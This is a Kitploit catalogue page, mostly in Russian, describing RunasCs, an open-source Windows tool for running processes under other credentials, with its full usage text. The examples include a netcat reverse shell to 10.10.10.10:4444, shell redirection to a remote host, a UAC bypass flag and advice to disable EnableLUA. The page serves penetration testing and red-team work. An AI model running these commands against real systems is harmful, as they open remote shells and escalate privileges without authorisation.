Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
RunasCs — RunasCs — Csharp и открытая версия встроенной в Windows утилиты runas.exe | Kitploit
Инструменты/GitHubGitHub/antoniococo/runascs
Повышение привилегийИнструменты для выдачи себя за другое лицоЛатеральное перемещениеПост-эксплуатацияТестирование на ПроникновениеRed Teaming
GitHubantoniococo/runascs

RunasCs

RunasCs — Csharp и открытая версия встроенной в Windows утилиты runas.exe

Репозиторий
1.4k161252 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

RunasCs


RunasCs — это утилита для запуска отдельных процессов с иными правами, чем у текущего пользователя, с использованием явно заданных учётных данных. Этот инструмент является улучшенной и открытой версией встроенной в Windows утилиты runas.exe и решает некоторые её ограничения:

  • Позволяет задавать явные учётные данные
  • Работает как при запуске из интерактивного процесса, так и из службы
  • Корректно управляет DACL для Window Stations и Desktop при создании нового процесса
  • Использует более надёжные функции создания процесса, такие как CreateProcessAsUser() и CreateProcessWithTokenW(), если вызывающий процесс обладает требуемыми привилегиями (автоматическое определение)
  • Позволяет указывать тип входа, например, 8-NetworkCleartext (без ограничений UAC)
  • Позволяет обойти UAC, если известен пароль администратора (флаг --bypass-uac)
  • Позволяет создать процесс, в котором основной поток выдает себя за запрошенного пользователя (флаг --remote-impersonation)
  • Позволяет перенаправлять stdin, stdout и stderr на удалённый хост
  • Это открытый исходный код :)

RunasCs имеет автоматическое обнаружение для выбора наилучшей функции создания процесса для любого контекста. В зависимости от разрешений токена вызывающего процесса будет использована одна из функций создания процесса в следующем предпочтительном порядке:

  1. CreateProcessAsUserW()
  2. CreateProcessWithTokenW()
  3. CreateProcessWithLogonW()

Требования


.NET Framework >= 2.0

Использование


RunasCs v1.5 - @splinter_code

Usage:
    RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]

Description:
    RunasCs is an utility to run specific processes under a different user account
    by specifying explicit credentials. In contrast to the default runas.exe command
    it supports different logon types and CreateProcess* functions to be used, depending
    on your current permissions. Furthermore it allows input/output redirection (even
    to remote hosts) and you can specify the password directly on the command line.

Positional arguments:
    username                username of the user
    password                password of the user
    cmd                     commandline for the process

Optional arguments:
    -d, --domain domain
                            domain of the user, if in a domain.
                            Default: ""
    -f, --function create_process_function
                            CreateProcess function to use. When not specified
                            RunasCs determines an appropriate CreateProcess
                            function automatically according to your privileges.
                            0 - CreateProcessAsUserW
                            1 - CreateProcessWithTokenW
                            2 - CreateProcessWithLogonW
    -l, --logon-type logon_type
                            the logon type for the token of the new process.
                            Default: "2" - Interactive
    -t, --timeout process_timeout
                            the waiting time (in ms) for the created process.
                            This will halt RunasCs until the spawned process
                            ends and sent the output back to the caller.
                            If you set 0 no output will be retrieved and a
                            background process will be created.
                            Default: "120000"
    -r, --remote host:port
                            redirect stdin, stdout and stderr to a remote host.
                            Using this option sets the process_timeout to 0.
    -p, --force-profile
                            force the creation of the user profile on the machine.
                            This will ensure the process will have the
                            environment variables correctly set.
                            WARNING: If non-existent, it creates the user profile
                            directory in the C:\Users folder.
    -b, --bypass-uac
                            try a UAC bypass to spawn a process without
                            token limitations (not filtered).
    -i, --remote-impersonation
                            spawn a new process and assign the token of the
                            logged on user to the main thread.

Examples:
    Run a command as a local user
        RunasCs.exe user1 password1 "cmd /c whoami /all"
    Run a command as a domain user and logon type as NetworkCleartext (8)
        RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
    Run a background process as a local user,
        RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
    Redirect stdin, stdout and stderr of the specified command to a remote host
        RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
    Run a command simulating the /netonly flag of runas.exe
        RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9
    Run a command as an Administrator bypassing UAC
        RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac
    Run a command as an Administrator through remote impersonation
        RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation

Два процесса (вызывающий и вызванный) будут взаимодействовать через один pipe (как для stdout, так и для stderr). По умолчанию используется тип входа 2 (Interactive).

По умолчанию тип входа Interactive (2) ограничен UAC, а создаваемый при такой аутентификации токен фильтруется. Вы можете выполнить интерактивный вход без ограничений, установив следующий раздел реестра в значение 0 и перезапустив сервер:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

В противном случае вы можете использовать флаг --bypass-uac, чтобы попытаться обойти ограничение фильтрации токенов.

Тип входа NetworkCleartext (8) обладает наиболее широкими правами, поскольку не фильтруется UAC для локальных токенов и при этом позволяет выполнять аутентификацию по сети, так как сохраняет учётные данные в пакете аутентификации. Если у вас достаточно привилегий, старайтесь всегда указывать этот тип входа с помощью флага --logon-type 8.

По умолчанию вызывающий процесс (RunasCs) ожидает завершения запущенного процесса. Если вам нужно запустить фоновый или асинхронный процесс, например reverse shell, необходимо установить параметр -t timeout в значение 0. В этом случае RunasCs не будет ожидать завершения выполнения вновь запущенного процесса.

Ссылки


Скачать инструмент